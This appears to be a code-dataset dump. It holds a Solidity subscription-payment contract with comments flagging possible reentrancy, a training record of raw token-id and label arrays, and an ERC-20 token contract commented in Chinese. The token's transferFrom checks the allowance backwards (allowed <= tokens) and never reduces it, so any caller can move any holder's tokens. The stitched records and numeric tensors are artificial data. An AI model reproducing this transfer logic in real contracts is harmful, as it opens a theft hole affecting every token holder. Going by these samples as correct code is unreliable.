function returnSubscriptionDesposit(uint subId) public;
function claimSubscriptionDeposit(uint subId) public;
function state(uint subId) public constant returns(string state);
function stateCode(uint subId) public constant returns(uint stateCode);
///@dev ***** subscription offer handling *****
function createSubscriptionOffer(uint _price, uint16 _xrateProviderId, uint _chargePeriod, uint _expireOn, uint _offerLimit, uint _depositValue, uint _startOn, bytes _descriptor) public reentrant returns (uint subId);
function updateSubscriptionOffer(uint offerId, uint _offerLimit) public;
function holdSubscriptionOffer(uint offerId) public returns (bool success);
function unholdSubscriptionOffer(uint offerId) public returns (bool success);
function cancelSubscriptionOffer(uint offerId) public returns (bool);
///@dev ***** simple deposit handling *****
function createDeposit(uint _value, bytes _descriptor) public returns (uint subId);
function claimDeposit(uint depositId) public;
///@dev ***** ExchangeRate provider *****
function registerXRateProvider(XRateProvider addr) public returns (uint16 xrateProviderId);
///@dev ***** Service provider (payment receiver) *****
function enableServiceProvider(ServiceProvider addr, bytes moreInfo) public;
function disableServiceProvider(ServiceProvider addr, bytes moreInfo) public;
///@dev ***** convenience subscription getter *****
function subscriptionDetails(uint subId) public constant returns(
address transferFrom,
address transferTo,
uint pricePerHour,
uint32 initialXrate_n, //nominator
uint32 initialXrate_d, //denominator
uint16 xrateProviderId,
uint chargePeriod,
uint startOn,
bytes descriptor
);
function subscriptionStatus(uint subId) public constant returns(
uint depositAmount,
uint expireOn,
uint execCounter,
uint paidUntil,
uint onHoldSince
);
enum PaymentStatus {OK, BALANCE_ERROR, APPROVAL_ERROR}
event Payment(address _from, address _to, uint _value, uint _fee, address sender, PaymentStatus status, uint subId);
event ServiceProviderEnabled(address addr, bytes moreInfo);
event ServiceProviderDisabled(address addr, bytes moreInfo);
} //SubscriptionModule
contract ERC20ModuleSupport {
function _fulfillPreapprovedPayment(address _from, address _to, uint _value, address msg_sender) public returns(bool success);
function _fulfillPayment(address _from, address _to, uint _value, uint subId, address msg_sender) public returns (bool success);
function _mintFromDeposit(address owner, uint amount) public;
function _burnForDeposit(address owner, uint amount) public returns(bool success);
}
//@dev implementation
contract SubscriptionModuleImpl is SubscriptionModule, Owned {
string public constant VERSION = "0.1.0";
// *************************************************
// * contract states *
// *************************************************
///@dev list of all registered service provider contracts implemented as a map for better lookup.
mapping (address=>bool) public providerRegistry;
///@dev all subscriptions and offers (incl. FINALIZED).
mapping (uint => Subscription) public subscriptions;
///@dev all active simple deposits gived by depositId.
mapping (uint => Deposit) public deposits;
///@dev addresses of registered exchange rate providers.
XRateProvider[] public xrateProviders;
///@dev ongoing counter for subscription ids starting from 1.
/// Current value represents an id of last created subscription.
uint public subscriptionCounter = 0;
///@dev ongoing counter for simple deposit ids starting from 1.
/// Current value represents an id of last created deposit.
uint public depositCounter = 0;
///@dev Token contract with ERC20ModuleSupport addon.
/// Subscription Module operates on its balances via ERC20ModuleSupport interface as trusted module.
ERC20ModuleSupport public san;
// *************************************************
// * reject all ether sent to this contract *
// *************************************************
function () {
throw;
}
// *************************************************
// * setup and configuration *
// *************************************************
///@dev constructor
function SubscriptionModuleImpl() {
owner = msg.sender;
xrateProviders.push(XRateProvider(this)); //this is a default SAN:SAN (1:1) provider with default id == 0
}
///@dev attach SAN token to work with; can be done only once.
function attachToken(address token) public {
assert(address(san) == 0); //only in new deployed state
san = ERC20ModuleSupport(token);
}
///@dev register a new service provider to the platform.
function enableServiceProvider(ServiceProvider addr, bytes moreInfo) public only(owner) {
providerRegistry[addr] = true;
ServiceProviderEnabled(addr, moreInfo);
}
///@dev de-register the service provider with given `addr`.
function disableServiceProvider(ServiceProvider addr, bytes moreInfo) public only(owner) {
delete providerRegistry[addr];
ServiceProviderDisabled(addr, moreInfo);
}
///@dev register new exchange rate provider.
/// XRateProvider can't be de-registered, because they could be still in use by some subscription.
function registerXRateProvider(XRateProvider addr) public only(owner) returns (uint16 xrateProviderId) {
xrateProviderId = uint16(xrateProviders.length);
xrateProviders.push(addr);
NewXRateProvider(addr, xrateProviderId, msg.sender);
}
///@dev xrateProviders length accessor.
function getXRateProviderLength() public constant returns (uint) {
return xrateProviders.length;
}
// *************************************************
// * single payment methods *
// *************************************************
///@notice makes single payment to service provider.
///@param _value - amount of SAN token to sent
///@param _paymentData - 'payment purpose' code usually issued by service provider to customer before payment.
///@param _to - service provider contract
///@return `true` on success; `false` of failure (if caller is a contract) or throw an exception (if caller is not a contract)
//
function paymentTo(uint _value, bytes _paymentData, ServiceProvider _to) public reentrant returns (bool success) {
if (san._fulfillPayment(msg.sender, _to, _value, 0, msg.sender)) {
// a ServiceProvider (a ServiceProvider) has here an opportunity verify and reject the payment
assert (ServiceProvider(_to).onPayment(msg.sender, _value, _paymentData)); // <=== possible reentrancy
return true;
}
if (isContract(msg.sender)) { return false; }
else { throw; }
}
///@notice makes single preapproved payment to service provider. An amount must be already preapproved by payment sender to recepient.
///@param _value - amount of SAN token to sent
///@param _paymentData - 'payment purpose' code usually issued by service provider to customer before payment.
///@param _from - sender of the payment (other than msg.sender)
///@param _to - service provider contract
///@return `true` on success; `false` of failure (if caller is a contract) or throw an exception (if caller is not a contract)
//
function paymentFrom(uint _value, bytes _paymentData, address _from, ServiceProvider _to) public reentrant returns (bool success) {
if (san._fulfillPreapprovedPayment(_from, _to, _value, msg.sender)) {
// a ServiceProvider (a ServiceProvider) has here an opportunity verify and reject the payment
assert (ServiceProvider(_to).onPayment(_from, _value, _paymentData)); // <=== possible reentrancy
return true;
}
if (isContract(msg.sender)) { return false; }
else { throw; }
}
// *************************************************
// * subscription handling *
// *************************************************
///@dev convenience getter for some subscription fields
function subscriptionDetails(uint subId) public constant returns (
address transferFrom,
address transferTo,
uint pricePerHour,
uint32 initialXrate_n, //nominator
uint32 initialXrate_d, //denominator
uint16 xrateProviderId,
uint chargePeriod,
uint startOn,
bytes descriptor
) {
Subscription sub = subscriptions[subId];
return (sub.transferFrom, sub.transferTo, sub.pricePerHour, sub.initialXrate_n, sub.initialXrate_d, sub.xrateProviderId, sub.chargePeriod, sub.startOn, sub.descriptor);
}
///@dev convenience getter for some subscription fields
/// a caller must know, that the subscription with given id exists, because all these fields can be 0 even the subscription with given id exists.
function subscriptionStatus(uint subId) public constant returns(
uint depositAmount,
uint expireOn,
uint execCounter,
uint paidUntil,
uint onHoldSince
) {
Subscription sub = subscriptions[subId];
return (sub.depositAmount, sub.expireOn, sub.execCounter, sub.paidUntil, sub.onHoldSince);
}
///@notice execute periodic subscription payment.
/// Any of customer, service provider and platform owner can execute this function.
/// This ensures, that the subscription charge doesn't become delayed.
/// At least the platform owner has an incentive to get fee and thus can trigger the function.
/// An execution fails if subscription is not in status `CHARGEABLE`.
///@param subId - subscription to be charged.
///@return `true` on success; `false` of failure (if caller is a contract) or throw an exception (if caller is not a contract)
//
function executeSubscription(uint subId) public noReentrancy(L00) returns (bool) {
Subscription storage sub = subscriptions[subId];
assert (msg.sender == sub.transferFrom || msg.sender == sub.transferTo || msg.sender == owner);
if (_subscriptionState(sub)==SubState.CHARGEABLE) {
var _from = sub.transferFrom;
var _to = sub.transferTo;
var _value = _amountToCharge(sub);
if (san._fulfillPayment(_from, _to, _value, subId, msg.sender)) {
sub.paidUntil = max(sub.paidUntil, sub.startOn) + sub.chargePeriod;
++sub.execCounter;
// a ServiceProvider (a ServiceProvider) has here an opportunity to verify and reject the payment
assert (ServiceProvider(_to).onSubExecuted(subId));
return true;
}
}
if (isContract(msg.sender)) { return false; }
else { throw; }
}
///@notice move `paidUntil` forward to given `newDueDate`. It waives payments for given time.
/// This function can be used by service provider to `give away` some service time for free.
///@param subId - id of subscription to be postponed.
///@param newDueDate - new `paidUntil` datetime; require `newDueDate > paidUntil`.
///@return `true` on success; `false` of failure (if caller is a contract) or throw an exception (if caller is not a contract)
//
function postponeDueDate(uint subId, uint newDueDate) public returns (bool success){
Subscription storage sub = subscriptions[subId];
assert (_isSubscription(sub));
assert (sub.transferTo == msg.sender); //only Service Provider is allowed to postpone the DueDate
if (sub.paidUntil < newDueDate) {
sub.paidUntil = newDueDate;
return true;
} else if (isContract(msg.sender)) { return false; }
else { throw; }
}
///@dev return current status as a name of a subscription (or an offer) with given id;
function state(uint subOrOfferId) public constant returns(string state) {
Subscription subOrOffer = subscriptions[subOrOfferId];
return _isOffer(subOrOffer)
? OFFER_STATES[uint(_offerState(subOrOffer))]
: SUB_STATES[uint(_subscriptionState(subOrOffer))];
}
///@dev return current status as a code of a subscription (or an offer) with given id;
function stateCode(uint subOrOfferId) public constant returns(uint stateCode) {
Subscription subOrOffer = subscriptions[subOrOfferId];
return _isOffer(subOrOffer)
? uint(_offerState(subOrOffer))
: uint(_subscriptionState(subOrOffer));
}
function _offerState(Subscription storage sub) internal constant returns(OfferState status) {
if (!_isOffer(sub)) {
return OfferState.NOT_EXIST;
} else if (sub.startOn > now) {
return OfferState.BEFORE_START;
} else if (sub.onHoldSince > 0) {
return OfferState.ON_HOLD;
} else if (now <= sub.expireOn) {
return sub.execCounter > 0
? OfferState.ACTIVE
: OfferState.SOLD_OUT;
} else {
return OfferState.EXPIRED;
}
}
function _subscriptionState(Subscription storage sub) internal constant returns(SubState status) {
if (!_isSubscription(sub)) {
return SubState.NOT_EXIST;
} else if (sub.startOn > now) {
return SubState.BEFORE_START;
} else if (sub.onHoldSince > 0) {
return SubState.ON_HOLD;
} else if (sub.paidUntil >= sub.expireOn) {
return now < sub.expireOn
? SubState.CANCELED
: sub.depositAmount > 0
? SubState.EXPIRED
: SubState.FINALIZED;
} else if (sub.paidUntil <= now) {
return SubState.CHARGEABLE;
} else {
return SubState.PAID;
}
}
///@notice create a new subscription offer.
///@dev only registered service provider is allowed to create offers.
///@dev subscription uses SAN token for payment, but an exact amount to be paid or deposit is calculated using exchange rate from external xrateProvider (previosly registered on platform).
/// This allows to create a subscription bound to another token or even fiat currency.
///@param _pricePerHour - subscription price per hour in SAN
///@param _xrateProviderId - id of external exchange rate provider from subscription currency to SAN; "0" means subscription is priced in SAN natively.
///@param _chargePeriod - time period to charge; subscription can't be charged more often than this period. Time units are native ethereum time, returning by `now`, i.e. seconds.
///@param _expireOn - offer can't be accepted after this time.
///@param _offerLimit - how many subscription are available to created from this offer; there is no magic number for unlimited offer -- use big number instead.
///@param _depositAmount - upfront deposit required for creating a subscription; this deposit becomes fully returned on subscription is over.
/// currently this deposit is not subject of platform fees and will be refunded in full. Next versions of this module can use deposit in case of outstanding payments.
///@param _startOn - a subscription from this offer can't be created before this time. Time units are native ethereum time, returning by `now`, i.e. seconds.
///@param _descriptor - arbitrary bytes as an offer descriptor. This descriptor is copied into subscription and then service provider becomes it passed in notifications.
//
function createSubscriptionOffer(uint _pricePerHour, uint16 _xrateProviderId, uint _chargePeriod, uint _expireOn, uint _offerLimit, uint _depositAmount, uint _startOn, bytes _descriptor)
public
noReentrancy(L01)
onlyRegisteredProvider
returns (uint subId) {
assert (_startOn < _expireOn);
assert (_chargePeriod <= 10 years); //sanity check
var (_xrate_n, _xrate_d) = _xrateProviderId == 0
? (1,1)
: XRateProvider(xrateProviders[_xrateProviderId]).getRate(); // <=== possible reentrancy
assert (_xrate_n > 0 && _xrate_d > 0);
subscriptions[++subscriptionCounter] = Subscription ({
transferFrom : 0, // empty transferFrom field means we have an offer, not a subscription
transferTo : msg.sender, // service provider is a beneficiary of subscripton payments
pricePerHour : _pricePerHour, // price per hour in SAN (recalculated from base currency if needed)
xrateProviderId : _xrateProviderId, // id of registered exchange rate provider or zero if an offer is nominated in SAN.
initialXrate_n : _xrate_n, // fraction nominator of the initial exchange rate
initialXrate_d : _xrate_d, // fraction denominator of the initial exchange rate
paidUntil : 0, // service is considered to be paid until this time; no charge is possible while subscription is paid for now.
chargePeriod : _chargePeriod, // period in seconds (ethereum block time unit) to charge.
depositAmount : _depositAmount, // deposit required for subscription accept.
startOn : _startOn,
expireOn : _expireOn,
execCounter : _offerLimit,
descriptor : _descriptor,
onHoldSince : 0 // offer is not on hold by default.
});
return subscriptionCounter; // returns an id of the new offer.
}
///@notice updates currently available number of subscription for this offer.
/// Other offer's parameter can't be updated because they are considered to be a public offer reviewed by customers.
/// The service provider should recreate the offer as a new one in case of other changes.
//
function updateSubscriptionOffer(uint _offerId, uint _offerLimit) public {
Subscription storage offer = subscriptions[_offerId];
assert (_isOffer(offer));
assert (offer.transferTo == msg.sender); //only Provider is allowed to update the offer.
offer.execCounter = _offerLimit;
}
///@notice accept given offer and create a new subscription on the base of it.
///
///@dev the service provider (offer.`transferTo`) becomes notified about new subscription by call `onSubNew(newSubId, _offerId)`.
/// It is provider's responsibility to retrieve and store any necessary information about offer and this new subscription. Some of info is only available at this point.
/// The Service Provider can also reject the new subscription by throwing an exception or returning `false` from `onSubNew(newSubId, _offerId)` event handler.
///@param _offerId - id of the offer to be accepted
///@param _expireOn - subscription expiration time; no charges are possible behind this time.
///@param _startOn - subscription start time; no charges are possible before this time.
/// If the `_startOn` is in the past or is zero, it means start the subscription ASAP.
//
function createSubscription(uint _offerId, uint _expireOn, uint _startOn) public noReentrancy(L02) returns (uint newSubId) {
assert (_startOn < _expireOn);
Subscription storage offer = subscriptions[_offerId];
assert (_isOffer(offer));
assert (offer.startOn == 0 || offer.startOn <= now);
assert (offer.expireOn == 0 || offer.expireOn >= now);
assert (offer.onHoldSince == 0);
assert (offer.execCounter > 0);
--offer.execCounter;
newSubId = ++subscriptionCounter;
//create a clone of the offer...
Subscription storage newSub = subscriptions[newSubId] = offer;
//... and adjust some fields specific to subscription
newSub.transferFrom = msg.sender;
newSub.execCounter = 0;
newSub.paidUntil = newSub.startOn = max(_startOn, now); //no debts before actual creation time!
newSub.expireOn = _expireOn;
newSub.depositAmount = _applyXchangeRate(newSub.depositAmount, newSub); // <=== possible reentrancy
//depositAmount is now stored in the sub, so burn the same amount from customer's account.
assert (san._burnForDeposit(msg.sender, newSub.depositAmount));
assert (ServiceProvider(newSub.transferTo).onSubNew(newSubId, _offerId)); // <=== possible reentrancy; service provider can still reject the new subscription here
NewSubscription(newSub.transferFrom, newSub.transferTo, _offerId, newSubId);
return newSubId;
}
///@notice cancel an offer given by `offerId`.
///@dev sets offer.`expireOn` to `expireOn`.
///@return `true` on success; `false` of failure (if caller is a contract) or throw an exception (if caller is not a contract)
//
function cancelSubscriptionOffer(uint offerId) public returns (bool) {
Subscription storage offer = subscriptions[offerId];
assert (_isOffer(offer));
assert (offer.transferTo == msg.sender || owner == msg.sender); //only service provider or platform owner is allowed to cancel the offer
if (offer.expireOn>now){
offer.expireOn = now;
OfferCanceled(offerId, msg.sender);
return true;
}
if (isContract(msg.sender)) { return false; }
else { throw; }
}
///@notice cancel an subscription given by `subId` (a graceful version).
///@notice IMPORTANT: a malicious service provider can consume all gas and preventing subscription from cancellation.
/// If so, use `cancelSubscription(uint subId, uint gasReserve)` as the forced version.
/// see `cancelSubscription(uint subId, uint gasReserve)` for more documentation.
//
function cancelSubscription(uint subId) public {
return cancelSubscription(subId, 0);
}
///@notice cancel an subscription given by `subId` (a forced version).
/// Cancellation means no further charges to this subscription are possible. The provided subscription deposit can be withdrawn only `paidUntil` period is over.
/// Depending on nature of the service provided, the service provider can allow an immediate deposit withdrawal by `returnSubscriptionDesposit(uint subId)` call, but its on his own.
/// In some business cases a deposit must remain locked until `paidUntil` period is over even, the subscription is already canceled.
///@notice gasReserve is a gas amount reserved for contract execution AFTER service provider becomes `onSubCanceled(uint256,address)` notification.
/// It guarantees, that cancellation becomes executed even a (malicious) service provider consumes all gas provided.
/// If so, use `cancelSubscription(uint subId, uint gasReserve)` as the forced version.
/// This difference is because the customer must always have a possibility to cancel his contract even the service provider disagree on cancellation.
///@param subId - subscription to be cancelled
///@param gasReserve - gas reserved for call finalization (minimum reservation is 10000 gas)
//
function cancelSubscription(uint subId, uint gasReserve) public noReentrancy(L03) {
Subscription storage sub = subscriptions[subId];
assert (sub.transferFrom == msg.sender || owner == msg.sender); //only subscription owner or platform owner is allowed to cancel it
assert (_isSubscription(sub));
var _to = sub.transferTo;
sub.expireOn = max(now, sub.paidUntil);
if (msg.sender != _to) {
//supress re-throwing of exceptions; reserve enough gas to finish this function
gasReserve = max(gasReserve,10000); //reserve minimum 10000 gas
assert (msg.gas > gasReserve); //sanity check
if (_to.call.gas(msg.gas-gasReserve)(bytes4(sha3("onSubCanceled(uint256,address)")), subId, msg.sender)) { // <=== possible reentrancy
//do nothing. it is notification only.
//Later: is it possible to evaluate return value here? If is better to return the subscription deposit here.
}
}
SubCanceled(subId, msg.sender);
}
///@notice place an active offer on hold; it means no subscriptions can be created from this offer.
/// Only service provider (or platform owner) is allowed to hold/unhold a subscription offer.
///@param offerId - id of the offer to be placed on hold.
///@return `true` on success; `false` of failure (if caller is a contract) or throw an exception (if caller is not a contract)
//
function holdSubscriptionOffer(uint offerId) public returns (bool success) {
Subscription storage offer = subscriptions[offerId];
assert (_isOffer(offer));
require (msg.sender == offer.transferTo || msg.sender == owner); //only owner or service provider can place the offer on hold.
if (offer.onHoldSince == 0) {
offer.onHoldSince = now;
OfferOnHold(offerId, true, msg.sender);
return true;
}
if (isContract(msg.sender)) { return false; }
else { throw; }
}
///@notice resume on-hold offer; subscriptions can be created from this offer again (if other conditions are met).
/// Only service provider (or platform owner) is allowed to hold/unhold a subscription offer.
///@param offerId - id of the offer to be resumed.
///@return `true` on success; `false` of failure (if caller is a contract) or throw an exception (if caller is not a contract)
//
function unholdSubscriptionOffer(uint offerId) public returns (bool success) {
Subscription storage offer = subscriptions[offerId];
assert (_isOffer(offer));
require (msg.sender == offer.transferTo || msg.sender == owner); //only owner or service provider can reactivate the offer.
if (offer.onHoldSince > 0) {
offer.onHoldSince = 0;
OfferOnHold(offerId, false, msg.sender);
return true;
}
if (isContract(msg.sender)) { return false; }
else { throw; }
}
///@notice called by customer or service provider to place a subscription on hold.
/// If call is originated by customer the service provider can reject the request.
/// A subscription on hold will not be charged. The service is usually not provided as well.
/// During hold time a subscription preserve remaining paid time period, which becomes available after unhold.
///@return `true` on success; `false` of failure (if caller is a contract) or throw an exception (if caller is not a contract)
//
function holdSubscription(uint subId) public noReentrancy(L04) returns (bool success) {
Subscription storage sub = subscriptions[subId];
assert (_isSubscription(sub));
var _to = sub.transferTo;
require (msg.sender == _to || msg.sender == sub.transferFrom); //only customer or provider can place the subscription on hold.
if (sub.onHoldSince == 0) {
if (msg.sender == _to || ServiceProvider(_to).onSubUnHold(subId, msg.sender, true)) { // <=== possible reentrancy
sub.onHoldSince = now;
SubOnHold(subId, true, msg.sender);
return true;
}
}
if (isContract(msg.sender)) { return false; }
else { throw; }
}
///@notice called by customer or service provider to unhold subscription.
/// If call is originated by customer the service provider can reject the request.
/// A subscription on hold will not be charged. The service is usually not provided as well.
/// During hold time a subscription preserve remaining paid time period, which becomes available after unhold.
///@return `true` on success; `false` of failure (if caller is a contract) or throw an exception (if caller is not a contract)
//
function unholdSubscription(uint subId) public noReentrancy(L05) returns (bool success) {
Subscription storage sub = subscriptions[subId];
assert (_isSubscription(sub));
var _to = sub.transferTo;
require (msg.sender == _to || msg.sender == sub.transferFrom); //only customer or provider can place the subscription on hold.
if (sub.onHoldSince > 0) {
if (msg.sender == _to || ServiceProvider(_to).onSubUnHold(subId, msg.sender, false)) { // <=== possible reentrancy
sub.paidUntil += now - sub.onHoldSince;
sub.onHoldSince = 0;
SubOnHold(subId, false, msg.sender);
return true;
}
}
if (isContract(msg.sender)) { return false; }
else { throw; }
}
// *************************************************
// * deposit handling *
// *************************************************
///@notice can be called by provider on CANCELED subscription to return a subscription deposit to customer immediately.
/// Customer can anyway collect his deposit after `paidUntil` period is over.
///@param subId - subscription holding the deposit
//
function returnSubscriptionDesposit(uint subId) public {
Subscription storage sub = subscriptions[subId];
assert (_subscriptionState(sub) == SubState.CANCELED);
assert (sub.depositAmount > 0); //sanity check
assert (sub.transferTo == msg.sender || owner == msg.sender); //only subscription owner or platform owner is allowed to release deposit.
sub.expireOn = now;
_returnSubscriptionDesposit(subId, sub);
}
///@notice called by customer on EXPIRED subscription (`paidUntil` period is over) to collect a subscription deposit.
/// Customer can anyway collect his deposit after `paidUntil` period is over.
///@param subId - subscription holding the deposit
//
function claimSubscriptionDeposit(uint subId) public {
Subscription storage sub = subscriptions[subId];
assert (_subscriptionState(sub) == SubState.EXPIRED);
assert (sub.transferFrom == msg.sender);
assert (sub.depositAmount > 0);
_returnSubscriptionDesposit(subId, sub);
}
//@dev returns subscription deposit to customer
function _returnSubscriptionDesposit(uint subId, Subscription storage sub) internal {
uint depositAmount = sub.depositAmount;
sub.depositAmount = 0;
san._mintFromDeposit(sub.transferFrom, depositAmount);
SubscriptionDepositReturned(subId, depositAmount, sub.transferFrom, msg.sender);
}
///@notice create simple unlocked deposit, required by some services. It can be considered as prove of customer's stake.
/// This desposit can be claimed back by the customer at anytime.
/// The service provider is responsible to check the deposit before providing the service.
///@param _value - non zero deposit amount.
///@param _descriptor - is a uniq key, usually given by service provider to the customer in order to make this deposit unique.
/// Service Provider should reject deposit with unknown descriptor, because most probably it is in use for some another service.
///@return depositId - a handle to claim back the deposit later.
//
function createDeposit(uint _value, bytes _descriptor) public returns (uint depositId) {
require (_value > 0);
assert (san._burnForDeposit(msg.sender,_value));
deposits[++depositCounter] = Deposit ({
owner : msg.sender,
value : _value,
descriptor : _descriptor
});
NewDeposit(depositCounter, _value, msg.sender);
return depositCounter;
}
///@notice return previously created deposit to the user. User can collect only own deposit.
/// The service provider is responsible to check the deposit before providing the service.
///@param _depositId - an id of the deposit to be collected.
//
function claimDeposit(uint _depositId) public {
var deposit = deposits[_depositId];
require (deposit.owner == msg.sender);
var value = deposits[_depositId].value;
delete deposits[_depositId];
san._mintFromDeposit(msg.sender, value);
DepositReturned(_depositId, msg.sender);
}
// *************************************************
// * some internal functions *
// *************************************************
function _amountToCharge(Subscription storage sub) internal reentrant returns (uint) {
return _applyXchangeRate(sub.pricePerHour * sub.chargePeriod, sub) / 1 hours; // <==== reentrant function usage
}
function _applyXchangeRate(uint amount, Subscription storage sub) internal reentrant returns (uint) { // <== actually called from reentrancy guarded context only (i.e. externally secured)
if (sub.xrateProviderId > 0) {
// xrate_n: nominator
// xrate_d: denominator of the exchange rate fraction.
var (xrate_n, xrate_d) = XRateProvider(xrateProviders[sub.xrateProviderId]).getRate(); // <=== possible reentrancy
amount = amount * sub.initialXrate_n * xrate_d / sub.initialXrate_d / xrate_n;
}
return amount;
}
function _isOffer(Subscription storage sub) internal constant returns (bool){
return sub.transferFrom == 0 && sub.transferTo != 0;
}
function _isSubscription(Subscription storage sub) internal constant returns (bool){
return sub.transferFrom != 0 && sub.transferTo != 0;
}
function _exists(Subscription storage sub) internal constant returns (bool){
return sub.transferTo != 0; //existing subscription or offer has always transferTo set.
}
modifier onlyRegisteredProvider(){
if (!providerRegistry[msg.sender]) throw;
_;
}
} //SubscriptionModuleImpl
|
<=== possible reentrancy
|
if (_to.call.gas(msg.gas-gasReserve)(bytes4(sha3("onSubCanceled(uint256,address)")), subId, msg.sender)) {
| 6,709,764 |
[
1,
32,
12275,
3323,
283,
8230,
12514,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
5411,
309,
261,
67,
869,
18,
1991,
18,
31604,
12,
3576,
18,
31604,
17,
31604,
607,
6527,
21433,
3890,
24,
12,
7819,
23,
2932,
265,
1676,
23163,
12,
11890,
5034,
16,
2867,
2225,
13,
3631,
720,
548,
16,
1234,
18,
15330,
3719,
288,
1377,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.23;
// 定义ERC-20标准接口
contract ERC20Interface {
// 代币名称
string public name;
// 代币符号或者说简写
string public symbol;
// 代币小数点位数,代币的最小单位
uint8 public decimals;
// 代币的发行总量
uint public totalSupply;
// 实现代币交易,用于给某个地址转移代币
function transfer(address to, uint tokens) public returns (bool success);
// 实现代币用户之间的交易,从一个地址转移代币到另一个地址
function transferFrom(address from, address to, uint tokens) public returns (bool success);
// 允许spender多次从你的账户取款,并且最多可取tokens个,主要用于某些场景下授权委托其他用户从你的账户上花费代币
function approve(address spender, uint tokens) public returns (bool success);
// 查询spender允许从tokenOwner上花费的代币数量
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
// 代币交易时触发的事件,即调用transfer方法时触发
event Transfer(address indexed from, address indexed to, uint tokens);
// 允许其他用户从你的账户上花费代币时触发的事件,即调用approve方法时触发
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// 实现ERC-20标准接口
contract ERC20Impl is ERC20Interface {
// 存储每个地址的余额(因为是public的所以会自动生成balanceOf方法)
mapping (address => uint256) public balanceOf;
// 存储每个地址可操作的地址及其可操作的金额
mapping (address => mapping (address => uint256)) internal allowed;
// 初始化属性
constructor() public {
name = "ExCoin";
symbol = "EXB";
decimals = 18;
totalSupply = 100000000000000000000000000000;
// 初始化该代币的账户会拥有所有的代币
balanceOf[msg.sender] = totalSupply;
}
function transfer(address to, uint tokens) public returns (bool success) {
// 检验接收者地址是否合法
require(to != address(0));
// 检验发送者账户余额是否足够
require(balanceOf[msg.sender] >= tokens);
// 检验是否会发生溢出
require(balanceOf[to] + tokens >= balanceOf[to]);
// 扣除发送者账户余额
balanceOf[msg.sender] -= tokens;
// 增加接收者账户余额
balanceOf[to] += tokens;
// 触发相应的事件
emit Transfer(msg.sender, to, tokens);
success = true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
// 检验地址是否合法
require(to != address(0) && from != address(0));
// 检验发送者账户余额是否足够
require(balanceOf[from] >= tokens);
// 检验操作的金额是否是被允许的
require(allowed[from][msg.sender] <= tokens);
// 检验是否会发生溢出
require(balanceOf[to] + tokens >= balanceOf[to]);
// 扣除发送者账户余额
balanceOf[from] -= tokens;
// 增加接收者账户余额
balanceOf[to] += tokens;
// 触发相应的事件
emit Transfer(from, to, tokens);
success = true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
// 触发相应的事件
emit Approval(msg.sender, spender, tokens);
success = true;
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
}
|
实现ERC-20标准接口 存储每个地址的余额(因为是public的所以会自动生成balanceOf方法) 存储每个地址可操作的地址及其可操作的金额 初始化属性
|
contract ERC20Impl is ERC20Interface {
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) internal allowed;
constructor() public {
name = "ExCoin";
symbol = "EXB";
decimals = 18;
